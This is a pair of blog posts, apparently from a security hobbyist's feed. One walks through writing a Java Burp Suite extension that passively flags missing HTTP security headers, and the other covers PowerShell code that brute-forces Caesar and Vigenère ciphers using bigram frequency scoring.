<p>For those who are not familiar <a href="https://portswigger.net/burp">Burp Suite</a> is a security tool for testing web applications. A great thing about Burp is that you can utilize custom extensions to expand Burp's capabilities. In order to learn more about Burp extensions and develop new skills I decided to make a simple extension that checks for the existence of a few headers in a response. Fair warning please excuse my poor Java syntax and best practices skills.</p>
<p><em>Like most my post if you want to skip to the code the extension is posted on my <a href="https://github.com/StackCrash/BurpHeaders">GitHub</a>. It is also the best place for the most current version of the code.</em></p>
<h2 id="burpextensions">Burp Extensions</h2>
<p>Burp supports extensions written in Java (which Burp is written in), Python and Ruby. Now I have written a fair amount of Python and next to none when it comes to Ruby and Java. Burp can have memory issues with Python and Ruby extensions, and since this was an exercise in learning I choose to go with Java. Luckily, I learned C++ back in high school and know a decent amount of C# so Java wasn't a challenge to pickup.</p>
<h1 id="gettingstarted">Getting started</h1>
<p>In order to get started I have to choose an IDE for Java because I wasn't about to try to make Visual Studio work with Java. I tried briefly all of the big three IDEs for Java and choose Netbeans for my own reasons.</p>
<h2 id="settingupmyenvironment">Setting up my environment</h2>
<p>In order to get the IDE to work with Burp there were a few things I needed to do in order for it to all work. First I had to add the libraries for Burp by adding the Burp Suite jar to the project's libraries.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/10/Netbeans_Burp-1.png" alt="My First Burp Suite Extension"></p>
<p>Next I needed to setup the project so that when I debugged it started Burp and loaded my extension. To do this I had to add <code>burp.StartBurp</code> to the Run section of the project's properties.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/10/Debug_Burp.png" alt="My First Burp Suite Extension"></p>
<p><em>Believe it or not that simple line is all it takes to be able to set breakpoints and debug an extension in Burp with a click of a button.</em></p>
<p>Those are the basic two settings I had to make in order to be ready to make a Burp extension. There were some special cases for this project in particular but I will skip those for brevity.</p>
<h1 id="therealwork">The real work</h1>
<p>With the initial IDE setup done it was time to begin the fun part and actually write the extension. The first part to write was the <code>BurpExtender</code> class. A skeleton of the class is available at <a href="https://portswigger.net/burp/extender/writing-your-first-burp-suite-extension.html">PortSwigger's site</a>.</p>
<h2 id="burpextender">BurpExtender</h2>
<pre><code class="language-java">package burp;

public class BurpExtender implements IBurpExtender
{
    private IBurpExtenderCallbacks callbacks;
    private final String version;
    private final String name;

    public BurpExtender()
    {
        this.name = &quot;Burp Headers&quot;;
        this.version = &quot;0.2&quot;;
    }

    @Override
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
    {
        this.callbacks = callbacks;

        callbacks.setExtensionName(this.name + &quot; &quot; + this.version);
        callbacks.registerScannerCheck(new BurpUtilities(this));
    }

    public IBurpExtenderCallbacks getCallbacks()
    {
        return this.callbacks;
    }
}
</code></pre>
<p>Mine is pretty basic and should be easy for anyone familiar with Java to understand except for one line.</p>
<pre><code class="language-java">callbacks.registerScannerCheck(new BurpUtilities(this));
</code></pre>
<p>This single line is what registers my extension as a scanner check in Burp Suite. Its passing itself (<code>this</code>) to a new instance of the class called <code>BurpUtilities</code> which was the next class I needed to write.</p>
<h2 id="burputilities">BurpUtilities</h2>
<p>A quick caveat due to the size of the rest of the code I will post the snippets as I talk about them so please visit the GitHub page linked at the top for the full code. Since <code>BurpUtilities</code> was going to be a scanner extension I needed to declare it as such in Burp's eyes.</p>
<pre><code class="language-java">public class BurpUtilities implements IScannerCheck
</code></pre>
<p>The line above makes <code>BurpUtilities</code> an implementation of the interface <code>IScannerCheck</code> from Burp's API. In order to properly implement the interface I needed to implement several functions that are expected.</p>
<pre><code class="language-java">@Override
public List&lt;IScanIssue&gt; doPassiveScan(IHttpRequestResponse requestResponse)
{
    PassiveHeaders passive = new PassiveHeaders(this);
    return passive.doPassiveScan(requestResponse);
}
</code></pre>
<p>Above was the first function I declared. It takes a single argument which is a class from Burp called <code>IHttpRequestResponse</code>. In this context it is simply every request and response burp intercepts. Next I declare a new instance of a class called <code>PassiveHeaders</code> which I will get to later. Next the function returns the results of <code>doPassiveScan</code> in the class <code>PassiveHeaders</code>. Despite being relatively simple looking this is the core of getting Burp to do anything with the rest of the code.</p>
<pre><code class="language-java">@Override
public List&lt;IScanIssue&gt; doActiveScan(IHttpRequestResponse requestResponse, IScannerInsertionPoint insertionPoint)
{
    return null;
}
</code></pre>
<p>The next function to declare was <code>doActiveScan</code> it functions similar to the passive version only its called when performing an active scan. The null return simply makes the extension do nothing on active scans.</p>
<pre><code class="language-java">@Override
public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue)
{
    boolean names = existingIssue.getIssueName().equals(newIssue.getIssueName());
    boolean urls = existingIssue.getUrl().equals(newIssue.getUrl());

    if(names &amp;&amp; urls)
    {
        return -1;
    }
    return 0;
}
</code></pre>
<p>This function is what keeps Burp from issuing duplicate scan issues when performing the checks and is rather self explanatory. The next part is relatively large but also critical to the extension working.</p>
<pre><code class="language-java">public class ScanIssue implements IScanIssue
{
    private final IHttpRequestResponse requestResponse;
    private final String name;
    private final String severity;
    private final String confidence;
    private final String issueBackground;
    private final String issueDetail;
    private final String remediationBackground;
    private final String remediationDetail;
    private final int type;

    public ScanIssue(IHttpRequestResponse requestResponse,
                     String name,
                     String severity,
                     String confidence,
                     String issueBackground,
                     String issueDetail,
                     String remediationDetail)
    {
        this.requestResponse = requestResponse;
        this.name = name;
        this.severity = severity;
        this.confidence = confidence;
        this.issueBackground = issueBackground;
        this.issueDetail = issueDetail;
        this.remediationBackground = null;
        this.remediationDetail = remediationDetail;
        this.type = 0x0800000;
    }

    @Override
    public String getProtocol()
    {
        return requestResponse.getProtocol();
    }

    @Override
    public String getHost()
    {
        return requestResponse.getHost();
    }

    @Override
    public int getPort()
    {
        return requestResponse.getPort();
    }

    @Override
    public URL getUrl()
    {
        return BurpUtilities.this.helpers.analyzeRequest(requestResponse).getUrl();
    }

    @Override
    public String getIssueName()
    {
        return this.name;
    }

    @Override
    public int getIssueType()
    {
        return this.type;
    }

    @Override
    public String getSeverity()
    {
        return this.severity;
    }

    @Override
    public String getConfidence()
    {
        return this.confidence;
    }

    @Override
    public String getIssueBackground()
    {
        return this.issueBackground;
    }

    @Override
    public String getRemediationBackground()
    {
        return this.remediationBackground;
    }

    @Override
    public String getIssueDetail()
    {
        return this.issueDetail;
    }

    @Override
    public String getRemediationDetail()
    {
        return this.remediationDetail;
    }

    @Override
    public IHttpRequestResponse[] getHttpMessages()
    {
        IHttpRequestResponse[] messages = { this.requestResponse };
        return messages;
    }

    @Override
    public IHttpService getHttpService()
    {
        return this.requestResponse.getHttpService();
    }
}
</code></pre>
<p>The above is actually another class nested inside <code>BurpUtilities</code>. The class is what Burp uses to build the issue that is going to be displayed. Again it is rather self explanatory based on the simplicity of the class. The way I wrote it is to keep it reusable no matter what I am doing.</p>
<p>If you have been following along and are familiar with Burp extension you might have noticed so far everything I have built is super generic and can be used for any scanner checks you want to perform simply by modifying whats in the <code>doPassiveScan</code> and/or <code>doActiveScan</code> functions.</p>
<h2 id="passiveheaders">PassiveHeaders</h2>
<p>This is where the actual heavy lifting is performed in my extension. The order I am going to explain this class in will follow the custom checks from importing them to performing the check and returning an issue when an issue is detected.</p>
<h3 id="headersjson">headers.json</h3>
<p>There is a resource added to the project called <code>headers.json</code> which is a JSON that contains all the various checks I want to perform. The reason I use something like a JSON to contain all my checks allows me to easily add or remove checks without heavy modification.</p>
<pre><code class="language-json">{
  &quot;name&quot;: &quot;No Strict-Transport-Security Header&quot;,
  &quot;severity&quot;: &quot;Low&quot;,
  &quot;confidence&quot;: &quot;Certain&quot;,
  &quot;background&quot;: &quot;https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#hsts&quot;,
  &quot;detail&quot;: &quot;HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797. A server implements an HSTS policy by supplying a header (Strict-Transport-Security) over an HTTPS connection (HSTS headers over HTTP are ignored).&quot;,
  &quot;remediation&quot;: &quot;Set the header on all pages to Strict-Transport-Security: max-age=31536000 ; includeSubDomains&quot;,
  &quot;checks&quot;: {
    &quot;mimes&quot;: [],
    &quot;check&quot;: &quot;Strict-Transport-Security&quot;
  }
}
</code></pre>
<p>Above is one of the entries from the JSON. It contains the information that will be passed to the <code>ScanIssue</code> class along with the header that will be checked for. You might notice the <code>mimes</code> part which is where I can limit checks to specific MIME types if I wanted. For example say I only wanted to run the above check on the MIME type for HTML I simply would have <code>&quot;mimes&quot;: [&quot;html&quot;]</code> as the entry.</p>
<p>With the format of the JSON done I needed to build some Java classes that would hold the data after importing it.</p>
<pre><code class="language-java">private class HeaderCheck
{
    public String name;
    public String severity;
    public String confidence;
    public String background;
    public String detail;
    public String remediation;
    public Checks checks;
}

private class Checks
{
    public String[] mimes;
    public String check;
}
</code></pre>
<p>The above classes are actually nested in my <code>PassiveHeaders</code> class and are basic skeletons to hold the data once imported from JSON. Logically the next step is to import the JSON data. This is where one of those additional setups I had to do but skipped for brevity occur. I had to import the Gson libraries so I could easily import the JSON. In addition I had to setup the IDE to compile the GSON libraries into my jar. Without the Gson libraries being compiled into the jar the extension will not work when imported into Burp.</p>
<pre><code class="language-java">private List&lt;HeaderCheck&gt; getHeaderChecks()
{
    Reader reader = new InputStreamReader(getClass().getResourceAsStream(&quot;/headers.json&quot;));
    Gson gson = new Gson();
    HeaderCheck[] checks = gson.fromJson(reader, HeaderCheck[].class);

    return Arrays.asList(checks);
}
</code></pre>
<p>After importing the Gson libraries it was relatively easy as seen in the above function to import the JSON into the class (<code>HeaderCheck</code>) that I have created. Now that the checks are imported I need to perform the actual checks and that function is the most important one in the extension so I will split it up a little.</p>
<pre><code class="language-java">private List&lt;IScanIssue&gt; doHeaderChecks(IHttpRequestResponse requestResponse, HeaderCheck check)
{
    List&lt;String&gt; headers = this.helpers.analyzeResponse(requestResponse.getResponse()).getHeaders();
    Short status = this.helpers.analyzeResponse(requestResponse.getResponse()).getStatusCode();
    
    boolean goodMime = true;
    List&lt;String&gt; mimes = Arrays.asList(check.checks.mimes);
    String mime = this.helpers.analyzeResponse(requestResponse.getResponse()).getStatedMimeType();
    if(!mimes.isEmpty() &amp;&amp; mime != null)
    {
        goodMime = mimes.toString().toLowerCase().contains(mime.toLowerCase());
    }
</code></pre>
<p>The first couple lines are simply getting the headers from the response and status code. The last little bit is a check to make sure the MIME in the header is one the check is supposed to be performed on or not. If the MIMEs from the JSON are empty or the MIME type in the header is missing it skips the check and assumes its a valid type to check for the headers.</p>
<pre><code class="language-java">if(!headers.toString().toLowerCase().contains(check.checks.check.toLowerCase())
        &amp;&amp; status == 200 &amp;&amp; goodMime)
{
    List&lt;IScanIssue&gt; issues = new ArrayList&lt;&gt;(1);
    issues.add(utility.new ScanIssue(requestResponse,
            check.name,
            check.severity,
            check.confidence,
            check.background,
            check.detail,
            check.remediation));
    return issues;
}
return null;
</code></pre>
<p>This last part test to see if the header its looking for is in the headers and that the status code returned is a HTTP 200. The reason for the 200 status is so it doesn't check redirects or error pages. The if statement also includes the boolean from earlier on checking the MIME type. Lastly, if the header is not there it generates an issue otherwise it returns null for no issue.</p>
<pre><code class="language-java">public List&lt;IScanIssue&gt; doPassiveScan(IHttpRequestResponse requestResponse)
{
    List&lt;HeaderCheck&gt; checks = getHeaderChecks();
    List&lt;IScanIssue&gt; issues = new ArrayList&lt;&gt;(1);

    checks.forEach((check) -&gt; {
        List&lt;IScanIssue&gt; issue = doHeaderChecks(requestResponse, check);
        if(issue != null) { issues.addAll(issue); }
    });
    return issues;
}
</code></pre>
<p>Finally, there is the <code>doPassivScan</code> function that was called from <code>BurpUtilities</code>. This function simply calls the import of the JSON and loops through each entry to call the check. It also contains some logic to not try and add an empty or null issue to the list it returns. Without the logic the extension threw a bunch of <code>NullPointerException</code> errors.</p>
<h1 id="summary">Summary</h1>
<p><img src="https://www.itsecguy.com/content/images/2017/10/Extension_Issue.png" alt="My First Burp Suite Extension"><br>
I learned a decent amount making this simple extension and it was a lot of fun. Of course now that I have written one extension I will most likely write a lot more of them as I encounter checks or testing I can automate even if its already been done because I am a huge fan of reinventing the wheel.</p>
]]></content:encoded></item><item><title><![CDATA[Reinventing the Wheel in PowerShell: PoshCiphers - Part 2]]></title><description><![CDATA[<h2 id="introduction">Introduction</h2>
<p>If you missed <a href="https://www.itsecguy.com/reinventing-the-wheel-in-powershell-poshciphers-2/">Part 1</a> please take a look at it. I explained the math behind the cipher algorithms. This post will cover the core of the brute forcing. It definitely took much longer than I had planned to get the brute forcing working.</p>
<p>Again, if you just want</p>]]></description><link>https://www.itsecguy.com/reinventing-the-wheel-in-powershell-poshciphers-part-2/</link><guid isPermaLink="false">5b4ea0ad43bdde04b66f1200</guid><category><![CDATA[PowerShell]]></category><category><![CDATA[CTFs]]></category><category><![CDATA[Challenges]]></category><dc:creator><![CDATA[StackCrash]]></dc:creator><pubDate>Sun, 12 Mar 2017 05:44:42 GMT</pubDate><media:content url="https://www.itsecguy.com/content/images/2017/03/1984.PNG" medium="image"/><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<img src="https://www.itsecguy.com/content/images/2017/03/1984.PNG" alt="Reinventing the Wheel in PowerShell: PoshCiphers - Part 2"><p>If you missed <a href="https://www.itsecguy.com/reinventing-the-wheel-in-powershell-poshciphers-2/">Part 1</a> please take a look at it. I explained the math behind the cipher algorithms. This post will cover the core of the brute forcing. It definitely took much longer than I had planned to get the brute forcing working.</p>
<p>Again, if you just want to check out the module its on GitHub at <a href="https://github.com/stackcrash/PoshCiphers">PoshCiphers</a>.</p>
<p>The module has gone through some overhauls in past couple weeks while I built out the brute forcing functionality. This is mostly because I started coding before planning everything efficiently. Some of it was just me being OCD and trying to make the code and output friendlier.</p>
<h3 id="update">Update</h3>
<p>The module now uses the <a href="https://en.wikipedia.org/wiki/Kasiski_examination">Kasiski examination</a> when it can to improve performance and slightly increase accuracy.</p>
<h2 id="isthatevenenglish">Is that even English?</h2>
<p>The first challenge to defeat before I could brute force either cipher was to make sure the module could read English and score it. To accomplish this you use frequency analysis of the plaintext and calculate the entropy of the plaintext. My first attempt was single letter frequency analysis and this has its limitations.</p>
<p>The primary limitation was occasionally there would be a false positive for the correct deciphered plaintext. In order to improve the accuracy I switched to using n-grams. More specifically, I choose to use bi-grams. Because they didn't hurt performance too much while dramatically improving the accuracy over single letter frequencies.</p>
<h3 id="bigrams">Bi-grams</h3>
<p>Bi-grams are basically every combination of two letters. A grand total of 676 of them to be exact. I used a bi-gram count from <a href="http://practicalcryptography.com/">Practical Cryptography</a> as the start. A warning, the site seems to have some issues with availability so Archive.org can be your friend.</p>
<h4 id="multipledimensions">Multiple dimensions</h4>
<p>Now the counts for each bi-gram alone didn't help me. I had to take the counts and convert them into a usable format. To do that I went through each bi-gram and ran its count  percentage through a logarithm. Then putting it all together in a multi-dimensional array. The reason to take the logs of each bi-gram's percentage is to get a nice normalized value I can use to calculate the entropy of the plaintext from.</p>
<h5 id="getpcbigramsquare">Get-PCBigramSquare</h5>
<pre><code class="language-powershell">Function Get-PCBigramSquare
{
    &lt;# 
        .Synopsis
        Returns a multidimensional array of bigram logs.

        .Description
        Returns a multidimensional array of bigram logs.

        .Example
        Get-PCBigramSquare
    #&gt;
    Param
    ()
    Begin
    {
        $BigramSquare = @(
            @(3.40008157684157,2.69262260305957,2.38293189544025,2.46337633776572,3.72422806569787,2.87982813518528,2.69095880781716,3.28851581870791,2.49054923237858,3.69624851126805,2.9251626741056,2.05370349068739,2.43243099636807,1.79219757243754,3.76108865282038,2.70373380444589,4.13749423559963,2.00901166690972,2.05870695840607,1.95218017166687,2.94710793783851,2.71740241745513,3.04272770098262,3.81581140989685,2.57431729135585,3.75033434908219), #A,A-Z
            @(2.68809924465431,3.79757972976293,4.13023313468313,4.4843693365975,2.34656628562577,4.7588037478416,5.0282719692697,4.44700096971362,2.99676460155375,4.18471408013958,5.2046473770358,2.79447373428197,4.35303407902197,4.61008082847895,2.72354918231502,4.57459310431446,5.89451053925169,2.97115504465397,3.48678045819694,4.00417479391998,2.7267025491786,4.55642423580126,4.48918459389718,6.15574780645768,2.91722465391391,5.72570116176496), #B,A-Z
            @(2.33637480293287,4.16160503422881,3.15495900146205,4.08148812124111,2.33915396934263,4.20836373764191,4.37680660309874,2.33199543104726,2.70924313537199,5.01757843210656,2.77825906142505,2.8813052862996,4.17962058123979,4.36163443192204,2.20878421511598,4.05278707900799,4.43849115056166,2.89440444035591,3.4955136924453,2.56076226398864,2.97275897195214,4.66173699475536,4.22553808366734,5.91162266213017,3.57697320390025,4.87311496994152), #C,A-Z
            @(2.3907794982485,2.85009059528792,3.05812177656009,3.0337001310947,2.20405513711652,3.03017577239264,3.24812815254184,2.9744867364217,2.29995950277439,3.7331528595687,3.91512420668598,3.15146415313208,3.08629393072488,3.18250037446987,2.51795403807035,3.13827194410068,4.18363049595913,2.87988053485536,2.61761892853379,2.43835132973027,2.86790376615884,3.54297972839846,2.94509893600899,5.19794196564964,3.28992915780662,4.64450408877784), #D,A-Z
            @(1.99911174706151,2.64739317384422,2.22468641212529,1.9670658757195,2.36877511834204,2.51360966534181,2.71752933620732,2.75742608545672,2.43104859811146,3.5365656725572,3.25358623325524,2.27243231875864,2.37713452246012,1.94577978073059,2.50478739668409,2.48901495388631,3.47111873048118,1.74865052742196,1.87948721193091,2.11906511068871,3.07074401305354,2.61165877387098,2.4663297163577,2.88389905049225,2.75919919159084,3.96801056832909), #E,A-Z
            @(2.71379985420777,3.68740976666134,3.43978012745797,3.76198125774432,2.70498570176465,2.8516009090294,3.83124261664974,3.45761125067452,2.55694053422631,4.20475196911783,4.27624325260515,3.17487462662503,3.5385329222899,3.90806296507988,2.35889082484959,3.55677338567711,4.95916835147899,2.71476497628451,3.32469243887351,2.49930231105726,3.13912105169195,4.24729118525167,3.63334242834289,5.35004879123752,3.73829288082392,5.14193885717678), #F,A-Z
            @(2.58514041189457,3.56240856671014,3.52210854586017,3.69151852313723,2.47678201744114,3.46997494599249,3.46908787388654,2.64112404868185,2.78444815720697,4.38805532782321,4.42150510047575,3.22482001094793,3.56456489122869,3.25093094383129,2.72268314678783,3.55124934133782,4.85956062211078,2.79142365483197,3.0425376882975,2.76972997513526,3.05973807923104,4.36457513621844,3.44055496615139,5.46628286950821,3.64475932362189,5.18084038646378), #G,A-Z
            @(2.07993586662078,3.6298588635438,3.47721737236327,3.71747237014816,1.6329153697023,3.71458461701965,4.00282718260416,3.51204754383877,2.19663940572037,4.35735984542613,4.31288375941207,3.56791018896634,3.50460041414714,3.49477562126702,2.34079288658352,3.64527157506193,4.63054210551403,3.05122803425739,3.24460589678436,2.71413139418868,3.1931319408294,4.34024568081807,3.48877183720043,5.75933431774711,3.47559480566542,5.06692281032666), #H,A-Z
            @(2.63581116047045,3.2211851701076,2.30409861049654,2.52541700453045,2.53879587368039,2.87695531678389,2.65677947395458,3.8500827013191,3.85262113058005,4.29520065682408,3.22341715210596,2.38358931574512,2.61287575316426,1.69302770075723,2.3093545870779,3.11103253525796,4.17105888796049,2.56840538361185,2.06360814650584,2.056817986623,3.87496138266966,2.67546428784301,3.67113982048792,3.69173182502354,4.64307559633005,3.36503297745977), #I,A-Z
            @(3.40220125919924,5.34854475901621,5.24197252514512,5.29539492857051,3.46348593792481,5.53415145778459,5.55588568462303,5.31450725341927,4.08252895531604,5.42947746649297,5.49079539858458,5.55135799966947,5.28685424512892,5.47597057883497,3.20111492854056,5.09782774468779,6.77736133416132,4.73025913346373,5.04121875685114,5.32609808612922,3.16980013037945,5.68529030694673,5.42953146978599,6.76257792991556,5.87827478582257,6.17968437637297), #J,A-Z
            @(3.18364613190885,3.97516582779286,4.01263166310263,4.19188185650987,2.60852160300311,3.90564774428833,4.31519985863287,3.82292170591723,2.87139683791022,4.75044684310587,4.56104188049533,3.7083695723642,3.94960465004563,3.35626899701162,3.39087941395432,4.06111167022497,5.49272753853078,3.9308734408033,3.12705475300162,3.47633584989004,3.93121791563727,4.7714823888043,3.77878746128577,5.92977842202825,3.89294100119547,5.58699083024719), #K,A-Z
            @(2.27081663350065,3.24431194216414,3.26890380309754,2.62536202537249,2.15326413308802,3.20412929369776,3.66906623320205,3.53071274129643,2.2687072451066,4.29672146833102,3.5698761593893,2.24431291169335,3.2902280529855,3.75949823338669,2.4428766728765,3.23038876548593,4.74857385992184,3.45833548437839,2.69760642048799,2.80228784591505,2.99215576447413,3.54307721816893,3.37183406017194,5.44649244620173,2.49784760782051,4.87763781237971), #L,A-Z
            @(2.29687706591741,3.02081540999177,3.59382453892281,3.9536397049647,2.20072757337131,3.78153964892094,4.18085104823936,3.78411201074682,2.55064563919286,4.50794218480869,4.59041516748431,3.95599117710039,3.06413055606849,3.88895545536611,2.52360300823475,2.74184999706151,5.30633794955565,3.8159474714938,3.04229627607751,3.15075285594682,3.06119214261962,4.50135806980304,3.66387120600704,5.48208366738643,3.34605794857322,5.37413621412134), #M,A-Z
            @(2.26395328352164,3.07927139656317,2.45363733619669,1.97131008485837,2.19923228383023,2.94126411760583,2.04967856372443,3.04312128604849,2.39405073937517,3.50790822225938,3.15256803647364,3.06852098807415,3.0564661699083,2.92149340579594,2.3595720692899,3.16341619848542,4.29859504536064,3.25685058435923,2.30738802760524,1.93088128698962,3.06388684730124,3.29455621795666,3.0110013289036,4.7617415416322,2.99807970370536,4.21026487830924), #N,A-Z
            @(2.81937745057988,2.8426312911117,2.75241016760461,2.7545016623832,3.21820966255784,2.15101664385662,3.01647897641069,3.12339303872727,2.90863257777146,3.81564319941812,3.10473011848226,2.49833900207673,2.31231323581397,1.8806698686428,2.62862643434737,2.61638947594339,4.54713538472843,1.97574300347484,2.50247891105705,2.33296079428663,2.14296663723472,2.76961036541997,2.47123556359971,3.82293306287694,3.34969094315217,4.27690590495624), #O,A-Z
            @(2.55423771599674,4.0684768903693,4.03350426233248,4.19947824791528,2.44351737994808,4.01454773604498,4.31134241307122,3.18482719879445,2.89088545184268,4.96340352219388,4.71673149658133,2.64413098919798,3.66684390504337,4.5164941628855,2.55971209567272,2.94806709657595,5.36622217410109,2.51561481934774,3.25986277260145,3.05469152721812,3.04951964840482,4.95370831274684,3.91128600956621,5.8024964024991,4.03804216034473,5.6492611361208), #P,A-Z
            @(4.7694516851938,5.19962454140491,5.60785623664021,5.69747888593776,5.85630204047313,5.692502955222,6.22647266305951,5.54694779751292,4.7702793972685,6.50814601589798,6.32990264896015,5.65349160286716,5.54546411555584,6.05520159201852,5.66304797588373,5.85328259969935,6.23813227560451,5.85956062211078,5.31685496533184,5.40765220547571,3.01582246977877,6.01141016921751,5.09595721677618,6.75223709657734,5.97721950314851,7.18874050038874), #Q,A-Z
            @(2.1788409571826,3.11134507941016,2.79241266548641,2.68042066898458,1.8511129736733,3.09981605383648,2.96882512188395,3.16333134151109,2.19444467323949,3.92143716213475,2.98351679707418,2.95436370197172,2.76796052833853,2.78680880313743,2.17005827599218,3.08102334227985,4.44018425474087,2.8653254414161,2.30880006819118,2.30434857699622,2.90912594008007,3.20575169123372,3.11111243382228,5.04870408941346,2.69198184743931,4.58116294222739), #R,A-Z
            @(2.1576188084399,2.8913173666085,2.60244920187753,3.05131291246292,2.13714326756364,2.85242410165172,3.32546651177081,2.41128449642076,2.2249722133626,3.78805329030672,3.27005726471561,2.93997822924649,2.88920557470141,3.01701509121604,2.25743465574143,2.61179782443343,3.73262075298263,3.09012050445746,2.35907620601241,1.90335682333027,2.63455408484325,3.69038907954013,2.6977174681104,4.92854129728078,3.29066795567573,4.73367800345164), #S,A-Z
            @(2.21846681538926,3.05435174063892,2.92016110782507,3.26547501188348,2.00960115445041,3.10846816863768,3.45119432773408,1.56772067295514,2.00355599348556,3.88811939928295,3.85033167933877,2.90325255223735,3.06072674213543,3.38496183129058,1.9720545482444,3.14869975532593,4.43419832647682,2.43665839742363,2.35891951289511,2.34882559496127,2.70763098942628,3.79194978937491,2.68600844730956,5.18632757519975,2.73232468460678,4.18872964316241), #T,A-Z
            @(2.97408613004639,3.16010128557916,2.87680622518484,3.09188819033792,2.94324219766617,3.78962823927694,2.9517423964821,4.10526219640642,3.09413437760809,4.69058754234863,3.92419841375974,2.62842950835358,2.99346171224808,2.4529791413055,3.82304798529341,2.91105369950457,5.26694258638545,2.39680643705044,2.4400167770491,2.45585387206508,4.83626166017387,4.30945820686422,4.08845367089247,4.47508798210162,3.910019554384,4.44912295459786), #U,A-Z
            @(3.02191144098729,5.17063468137437,4.86486989384823,4.70336896176901,2.16872015370459,5.18734679252938,5.22791311042282,5.15584844908052,2.66369398025337,5.57777631594804,5.57637297899227,4.9454189233869,5.0915327875071,5.11630677442035,3.28308105693053,4.83948379290602,6.4632956005211,4.65174942173769,4.3260704222305,4.83716503991494,4.71771087037203,5.28702925801942,4.97685750373488,6.13183564905227,4.26838979575871,6.21544767262489), #V,A-Z
            @(2.40958754776808,4.03949938755697,3.98423873910224,3.99976583890228,2.51581457674915,4.10928402988773,4.4901118615568,2.56207358158696,2.45368315260711,4.63835925365775,4.46281720620725,3.81781654675524,3.93201674262449,3.0736514788346,2.67654002934018,4.12838537534249,5.42517881604996,3.54714069497979,3.33732336174425,3.52152343812366,4.37849837846442,4.83019382729709,3.80684575711817,5.96583831425782,3.89266558074789,4.91296860022381), #W,A-Z
            @(3.67965900576622,4.66258129311373,3.79204622011093,4.85701683359063,3.82035597995143,4.58270096185316,5.04162755662261,4.41422614147763,3.62528653805716,5.60940612467812,5.500734065074,4.86076158805001,4.53041559766576,5.09514373178051,4.31126014201977,3.37091646317492,5.90221987605387,4.68143410626348,4.44740033909268,3.45693050050874,4.4670093580952,5.14290081186605,4.55917800761012,5.09118572870978,4.66125330130775,6.31741780655644), #X,A-Z
            @(2.77618707979261,3.20505204679329,3.1406244288353,3.30908418627499,2.82303161367312,3.27318163139997,3.61508909620118,3.27582169425258,2.98644547531517,4.05762731015119,4.04266453885442,3.33185221961693,3.23514077414625,3.4639805628124,2.67740646353394,3.22396533792238,4.69164787427943,3.33013048253483,2.75854901633142,2.80890742750747,3.79359390424858,4.02154241251668,3.10710211427284,5.40685695855756,4.11348951271837,4.74224216681822), #Y,A-Z
            @(3.66782719046757,4.93130193352892,5.02272292746024,5.11862343836115,3.40293518514083,5.17865265339021,5.21480487151343,4.60392887735217,3.82698906205153,5.78056112726142,5.2509719333388,4.73259687776872,4.97281981835226,5.25134800016724,4.00851628697642,5.15318212258973,5.87449697423233,5.12155004242902,4.65820692826717,4.88036667553548,4.58075729197908,5.47937966698393,4.79789997990926,6.24443411989185,4.61112151652201,4.29096618231055) #Z,A-Z
        )
    }
    End
    {
        #Returns the bigram square
        Return $BigramSquare
    }
}
</code></pre>
<h4 id="itisenglish">It is English!</h4>
<p>The next thing that had to be accomplished was to actually read the plaintext and score it. Now, before I could read through the plaintext I needed to remove everything that wasn't a letter from the plaintext. Thankfully, that was actually pretty easy to do with regular expressions.</p>
<pre><code class="language-powershell">[Regex]::Replace($Text,'[^a-zA-Z]','').ToUpper()
</code></pre>
<p>The above regex simply replaces anything that is not an upper or lowercase letter with nothing. Of course it is also converting the string to uppercase to simplify using the bi-gram square. Next, I just had to loop through the plaintext a bi-gram at a time and score it.</p>
<pre><code class="language-powershell">ForEach ($Start in 0..($Text.Length - 2))
{
    #Create the pair to use
    $Pair = $Text[$Start..($Start + 1)]
    #Calculate the entropy
    $Entropy += $Bigrams[($Pair[0] - 65)][($Pair[1] - 65)]
}
</code></pre>
<p>Since, the bi-gram square was a multi-dimensional array I just had to get the value from the bi-gram's position. The scoring part is simple the more common the bi-gram the lower the value in the bi-gram square. That means the lower the total the more likely it is English.</p>
<h5 id="getpcbigramentropy">Get-PCBigramEntropy</h5>
<pre><code class="language-powershell">Function Get-PCBigramEntropy
{
    &lt;# 
        .Synopsis
        Returns the bigram entropy for the supplied text compared to English bigram frequancies.

        .Description
        Returns the bigram entropy for the supplied text compared to English bigram frequancies.

        .Parameter Text
        Text to generate entropy based on.

        .Example
        Get-PCBigramEntropy -Text &quot;Example&quot;
        16.535234171974
    #&gt;
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $True, Position=0, ValueFromPipeline=$True)]
        [String] $Text
    )
    Begin
    {
        [Double]$Entropy = 0
        $Bigrams = Get-PCBigramSquare
    }
    Process
    {
        #Remove anything that is not a letter
        $Text = [Regex]::Replace($Text,'[^a-zA-Z]','').ToUpper()
        #Loop though each pair in the text
        ForEach ($Start in 0..($Text.Length - 2))
        {
            #Create the pair to use
            $Pair = $Text[$Start..($Start + 1)]
            #Calculate the entropy
            $Entropy += $Bigrams[($Pair[0] - 65)][($Pair[1] - 65)]
        }   
    }
    End
    {
        Return $Entropy
    }
}
</code></pre>
<h2 id="venividivici">Veni Vidi Vici</h2>
<p>Defeating the Caesar cipher was relatively easy, especially with modern computing power. The basic premise is I calculated all 25 possible rotations of the cipher text and chose the one with the lowest entropy.</p>
<pre><code class="language-powershell">$Deciphered = 1..25 | ForEach-Object { Invoke-PCCaesarDecipher -Ciphertext $Message -Rotation $_ }
</code></pre>
<p>Using the function that calculates the entropy based on bi-grams all I had to do was pass each <em>plaintext</em> to the function.</p>
<pre><code class="language-powershell">$Entropy = (Get-PCBigramEntropy -Text $($Text | Select-Object -ExpandProperty Plaintext))
</code></pre>
<h2 id="hailvigenre">Hail Vigenère!</h2>
<p>The first person credited with defeating the Vigenère cipher was Charles Babbage and he had a specific approach which is commonly known as the <a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher#Kasiski_examination">Kasiski Examination</a>. The reason for the name is because while Babbage broke the cipher he never published his work. Friedrich Kasiski published his work which was later discovered to be the same way as Babbage.</p>
